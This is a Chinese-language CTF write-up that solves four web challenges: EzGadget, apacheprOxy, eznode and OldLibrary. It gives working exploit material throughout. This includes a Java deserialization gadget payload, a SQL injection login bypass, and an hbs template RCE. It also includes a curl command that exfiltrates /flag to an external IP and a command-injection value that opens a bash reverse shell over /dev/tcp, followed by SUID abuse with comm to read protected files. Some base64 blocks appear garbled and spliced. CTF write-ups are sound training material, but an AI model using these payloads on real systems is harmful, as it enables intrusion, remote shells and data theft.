

EzGadget

给了源码，IDEA打开看看，有个反序列化的点：

```
@ResponseBody
@RequestMapping("/{readobject}")
public String unser(@RequestParam(name = "data",required = true) String
data, Model model) throws Exception {
    byte[] b = Tools.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    ObjectInputStream objectInputStream = new
ObjectInputStream(inputStream);
    String name = objectInputStream.readUTF();
    int year = objectInputStream.readInt();
    if (name.equals("gadgets") && year == 2021) {
        objectInputStream.readObject();
    }

    return "welcome bro.";
}
```

ToStringBean 这里：

```
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] classByte;

    public ToStringBean() {
    }

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.classByte, 0,
this.classByte.length);
        Object var3 = null;

        try {
            var3 = clazz.newInstance();
        } catch (InstantiationException var5) {
            var5.printStackTrace();
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
        }

        return "enjoy it.";
    }
}
```

```
}  
}
```

toString() 这里调用了 defineClass 能动态加载字节码，但是得想办法调用这个 toString。

想到CC5的利用中的 BadAttributeValueExpException 反序列的时候利用到了 toString，所以构造一波即可。

恶意类，我这里把flag外带出来：

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
public class Evil extends AbstractTranslet  
{  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws  
TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator,  
SerializationHandler handler) throws TransletException {  
  
    }  
    public Evil() {  
        try {  
            String[] command = { "/bin/sh", "-c", "curl http://121.5.169.223:39767/  
-F file=@/flag" };  
            Runtime.getRuntime().exec(command);  
            //Runtime.getRuntime().exec("sh /tmp/feng");  
        }  
        catch (Exception ex) {  
            ex.printStackTrace();  
        }  
    }  
  
    public static void main(final String[] array) {  
    }  
}
```



```
root@VM-0-6-ubuntu:~/java/evil# cat Evil.class|base64  
yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAGCgAhACIKACEAIwCAJAoACAA1BwAmBwAnAQAJdHJh  
bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaw50ZXJueWVwveHNsdGMvRE9NO1tM  
Y29tL3N1bi9vcmcvYXBhY2h1L3htbC9pbmRlcm5hbc9zZXJpYWxpemVyL1N1cm1hbG16YXRpb25I  
YW5kbGVyOy1wAQAEQ29kZQAD0xpbmVodw1iZXJueWJsZQEACKV4Y2VwdG1vbnMHACgBAKYOTGNv  
bs9zdW4vb3JnL2FwYWN0ZS94YWxhbi9pbmRlcm5hbc94c2x0Yy9ET007TGNvbs9zdW4vb3JnL2Fw  
YWN0ZS94bWVwaw50ZXJueWVwvZHRtL0RUTUF4aXNJdGVyYXRvcjtmY29tL3N1bi9vcmcvYXBhY2h1  
L3htbC9pbmRlcm5hbc9zZXJpYWxpemVyL1N1cm1hbG16YXRpb25IYW5kbGVyOy1wAQAGPGluaXQ+  
AQADKClwAQANU3Rhy2tNYXBuYXJpYXJgCAJAEABG1haw4BABYow0xqYXZlL2xhbmcvU3RyYXw5n
```

然后构造一波POC:

```
L3htbc9pbnr1cm5hbc9zZXJpYWxpemVyL1Nlcm1hbG16YXRpb25IYW5kbGVyOy1WAQAGPG1uaxQ+  
+  
"AQADKC1WAQANU3RhY2tNYXBUIWJsZQcAJgcAJAEABG1haw4BABYow0xqYXZhL2xhbmcvU3Ryaw5n"  
+  
"OylWAQAKU291cmNlRm1sZQEACUV2awwuamF2YQwAEwAUAQAQamF2YS9sYW5nL1N0cm1uzWEABY9i"  
+  
"aw4vc2gBAAtYwEAL2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk3NjcvcIC1GIGZpbGU9QC9m"  
+  
"bGFnbWApDAAqACSMACwALQEAE2phdmEvbGFuZy9FeGNlCHRpb24MAC4AF AEABEV2awwBAEBjb20v"  
+  
"c3VuL29yZy9hcGFjaGUveGFsYW4vaw50ZXJuYWwweHNSdGMvcnVudGlztS9BYnN0cmFjdFRyYW5z"  
+  
"bGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbgFuL2ludGVybmlsL3hzbHRjlL1RyYW5zbGV0RXhj"  
+  
"ZXB0aw9uAQARAmF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdw50aw1lAQAVKClMamF2YS9sYW5nL1J1"  
+  
"bnRpbWU7AQAEZxhlYwEAKChbtGphdmEvbGFuZy9TdHJpbmc7KUXqYXZhL2xhbmcvUHJvY2VzczsB"  
+  
"AA9wcm1udFN0YWNrVHJhY2UAIQAKAAsAAAAAAQAAQAMAA0AagA0AAAAGQAAAAAMAAAABSQAAAAEA"  
+  
"DwAAAAAYAAQAAAwAEAAAAQAAQARAAEADAASAAIAdgAAABkAAAAEAAAAAbEAAAABAA8AAAAAGAAEA"  
+  
"AAARABAAAAAAEAAEQABABMAFAABAA4AAAB3AAQAagAAACKqtWABB r0AA1kDEgNTWQQSBFNZBRIF"  
+  
"U0y4AAYrtgAHV6CACEwrtgAJsqABAAQIAAjAagAagAPAAAAHgAHHAAAEgAEABQAGA AVACAAGGaj"  
+  
"ABgAJAAZACgAGwAVAAAAEAAC/wAjAAEHABYAAQCAFWQACQAYABkAAQA0AAAAGQAAAAEAAAABSQAA"  
+  
    "AAEADwAAAAAYAAQAAAB4AAQAaaaaaaAgab");  
    clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");  
    field = clazz.getDeclaredField("ClassByte");  
    field.setAccessible(true);  
    field.set(toStringBean,classByte);  
  
    ByteArrayOutputStream bout = new ByteArrayOutputStream();  
    ObjectOutputStream oout = new ObjectOutputStream(bout);  
    oout.writeUTF("gadgets");  
    oout.writeInt(2021);  
    oout.writeObject(badAttributeValueExpException);  
    byte[] bytes = bout.toByteArray();  
    byte[] encode = Base64.getEncoder().encode(bytes);  
    System.out.println(new String(encode));  
}
```

```
}
```

打:



得到flag:

```
root@VM-0-6-ubuntu:~# nc -lvvp 39767
Listening on [0.0.0.0] (family 0, port 39767)
Connection from 39.105.23.123 26534 received!
POST / HTTP/1.1
Host: 121.5.169.223:39767
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 238
Content-Type: multipart/form-data; boundary=-----716e3391c1dc8e62

-----716e3391c1dc8e62
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-stream

flag{87fde49a-c684-4ca2-a19e-c9f5ae541095}
-----716e3391c1dc8e62--
^C
root@VM-0-6-ubuntu:~#
```

apacheprOxy

吃了个饭就打通了。

参考文章: <https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html>

SSRF打内网的weblogic, 就是这环境贼垃圾, 死活打不通, 多打几次就出了:

[illegible]

eznode

一血。

首先是个登录：

```
router.post('/', async function (req, res, next) {
  let username = req.body.username;
  let password = req.body.password;
  if (check(username) && check(password)) {
    let sql = `select * from users where username='${username}' and password = '${password}'`;
    const result = await select(sql)
      .then(close())
      .catch(err => { console.log(err); });
    // console.log(result);
    if(result){
      if (result.username == username && password == result.password) {
        res.cookie('token', result, { signed: true });
        res.send("yes");
      } else {
        res.send("username or password error")
      }
    } else{
      res.send('no')
    }
  } else {
    res.send("Fak OFF HACKER");
  }
});
```

``check`` 这个waf很容易绕了，拿数组绕。

然后就是这个：

```
if (result.username == username && password == result.password) {
```

第五空间考的了，直接拿第五空间的payload拿过来改一改：

```
POST / HTTP/1.1
Host: eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2zeggoejwozozko2g4xu.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=0ac3650127bce0646f3b72bc382255da
Connection: close
```

```
username[]=admin&password[]='%2F**%2Funion%2F**%2FSELECT%2F**%2F'admin'%2CREPLAC
E(REPLACE('%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REPLACE(%
22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23'%2CCHAR(34)%2CCHAR(39
))%2CCHAR(63)%2C'%22%2F**%2Funion%2F**%2FSELECT%2F**%2F%22admin%22%2CREPLACE(REP
LACE(%22%3F%22%2CCHAR(34)%2CCHAR(39))%2CCHAR(63)%2C%22%3F%22)%23')%23
```

登录成功后有2个能干的:

```
router.post('/admin', checkLogin, function (req, res, next) {
  var name = req.body.name ? req.body.name : "admin";
  res.render('admin', name)
});

// 还未上线..., checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {

  fs.readFile(req.files[0].path, function (err, data) {
    if (err) {
      console.log(err);
    } else {
      response = {
        message: 'File uploaded successfully',
        filename: req.files[0].path
      };
      res.end(JSON.stringify(response));
    }
  });
});
```

文件上传是这样处理:

```
const storage = multer.diskStorage({
  destination: function (req, file, cb) {
    cb(null, './upload_tmp')
  },
  filename: function (req, file, cb) {
    cb(null, Date.now()+'.jpg')
  }
})
```

没啥用。(是我错了)

看一下package.json, 一个一个查漏洞:

```

{
  "name": "app",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www",
    "dev": "nodemon index.js -e js"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "crypto": "^1.0.1",
    "debug": "~2.6.9",
    "express": "~4.16.1",
    "hbs": "^4.0.1",
    "http-errors": "~1.6.3",
    "morgan": "~1.9.1",
    "multer": "^1.4.3",
    "mysql": "^2.18.1",
    "path": "^0.12.7",
    "sequelize": "^6.7.0"
  }
}

```

查hbs的模板渲染的时候，查到了一个CVE-2021-32822：


<https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/>

本来以为是个任意文件的读取：

```

var createError = require('http-errors'); var express = require('express'); var path = require('path'); const cookiePaser = require('cookie-parser') var logger = require('morgan'); const crypto = require('crypto') const hbs = require('hbs'); var indexRouter = require('./routes/index'); var app = express(); // view engine setup app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'hbs'); app.use(logger('dev')); app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.use(cookiePaser(crypto.randomBytes(32).toString())); app.use(express.static(path.join(__dirname, 'public'))); app.use('/', indexRouter); app.use(function(req, res, next) { next(createError(404)); }); // error handler app.use(function(err, req, res, next) { res.locals.message = err.message; res.locals.error = req.app.get('env') === 'development' ? err : {}; res.status(err.status || 500); res.render('error'); }); process.on('uncaughtException', function (err) { console.log(err); }); module.exports = app;


```



读 /f1ag 的时候发现读的文件必须要有个后缀，不然就自动加上.hbs：

ENOENT: no such file or directory, open '.././.././.././../flag.hbs'

Error: ENOENT: no such file or directory, open '.././.././.././../flag.hbs'



然后想到了，这应该是解析模板文件的，利用上传功能，就可以实现模板渲染rce。


查一下hbs的模板渲染rce：

<https://xz.aliyun.com/t/4695>



写个curl外带的POC：

```
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |odelist|}}
        {{this.pop}}
        {{this.push "return
global.process.mainModule.constructor._load('child_process').exec('curl
http://121.5.169.223:39767/ -F file=@/flag')"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 odelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
```


传过去：



再解析这个模板文件：



带出flag：



OldLibrary

一道Go。先是登录和注册的功能，后续的功能利用有2种限制，一个是localhost一个是admin：

```
func AdminCheckMiddleware() gin.HandlerFunc {    // You can't be administrator
    return func(c *gin.Context) {
        session := sessions.Default(c)

        if session.Get("uname") == nil {
            c.Header("Content-Type", "text/html; charset=utf-8")
            c.String(200, "<script>alert('You have not logged in yet');window.location.href='/auth'</script>")
            return
        }

        if session.Get("uname").(string) != os.Getenv("ADMIN_USER") {
            c.Header("Content-Type", "text/html; charset=utf-8")
            c.String(200, "<script>alert('You are not admin, and you can not be admin either!');window.location.href='/auth'</script>")
            return
        }

        c.Next()
    }
}

func IPCheckMiddleware() gin.HandlerFunc {
    return func(c *gin.Context) {
        if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
            c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
            return
        }

        c.Next()
    }
}
```

admin这里告诉我们用户名是 `administrator`，但是密码不知道。

审一下代码发现登录那里存在SQL注入：

```
err = db_table.Find(bson.M{"$where": "function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"' ) {return true;}}"}).One(&result)
```

里面是js代码的判断，以 `administrator` 用户名登录成功即可。很容易了，直接收一下js代码就行：

```
username=administrator&password='||this.username=='administrator
```

发现有localhost限制的功能那里有个rce：

```
func DeleteController(c *gin.Context) {    // The function is temporarily
inaccessible

    var filename Filename
    if err := c.ShouldBindJSON(&filename); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }

    cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" +
filename.Filename)
    if err := cmd.Run(); err != nil {
        fmt.Println(err)
        return
    }
}
```

所以得先ssrf。

/submit 的功能看一下就是给点参数然后弄成一个html然后渲染成pdf，很容易联想到今年祥云杯的那道 secrets_of_admin，拿pdf来ssrf。

写一下js 来ssrf实现rce就行：

```
POST /submit HTTP/1.1
Host: eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Length: 799
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryGaez0qbXRXdU1Haf
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze5gq1gtiew9prd5bn1.cloudeci1.ichunqiu.com:8888/submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __jsluid_h=7f4d85f214af75c12d03309d6885e159;
mysession=MTYZNTY2NzU3N3xOd3dBTkxU1RGRTJURUpNUzBwU1RUSXpSRlpcV1Vws1ZrSmFOVlJNUT
BSUFZsQkVTVFEzVkvSVJESKNwbFZWtNpORlFVRk9SMUU9fiPFz1MoavOs65bjmTmFCpCrHisD8_sgS
WXB5M8Xqp
Connection: close

-----WebKitFormBoundaryGaez0qbXRXdU1Haf
Content-Disposition: form-data; name="title"

1234
-----WebKitFormBoundaryGaez0qbXRXdU1Haf
Content-Disposition: form-data; name="author"

456
```



```

-----WebKitFormBoundaryGaez0qbXRXdU1Haf
Content-Disposition: form-data; name="description"

1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete', true);
httpRequest.setRequestHeader("Content-type","application/json");
var obj = { "filename":"1234.pdf;bash -i >& /dev/tcp/121.5.169.223/39767 0>&1"
};
httpRequest.send(JSON.stringify(obj));
</script><td>1
-----WebKitFormBoundaryGaez0qbXRXdU1Haf
Content-Disposition: form-data; name="covers"; filename="1.txt"
Content-Type: text/plain

321
-----WebKitFormBoundaryGaez0qbXRXdU1Haf--

```

shell弹过来了，然后看一下读flag，没权限。尝试一下suid提权，看一下：

```

ctfer@engine-1:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/comm
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pkexec
ctfer@engine-1:/$

```

发现有 comm，直接利用comm读 /flagggisshere：

```

ctfer@engine-1:/$ comm /flagggisshere /etc/passwd
comm /flagggisshere /etc/passwd
flag{3c515cc6-3ce2-4c3d-9dbc-001ec5f8f13a}
root:x:0:0:root:/root:/bin/bash
comm: file 2 is not in sorted order
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

```

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uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:./nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105:./nonexistent:/usr/sbin/nologin
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:106:110:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:108:112:user for cups-pk-helper service,,,:/home/cups-pk-
helper:/usr/sbin/nologin
avahi:x:109:113:Avahi mDNS daemon,,,:/var/run/avahi-
daemon:/usr/sbin/nologin
saned:x:110:115:./var/lib/saned:/usr/sbin/nologin
colord:x:111:116:colord colour management
daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:112:117:./var/lib/geoclue:/usr/sbin/nologin
pulse:x:113:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm3:/bin/false
mongodb:x:115:121:./var/lib/mongodb:/usr/sbin/nologin
ctfer:x:1000:1000:./home/ctfer:/bin/bash
ctfer@engine-1:/$
```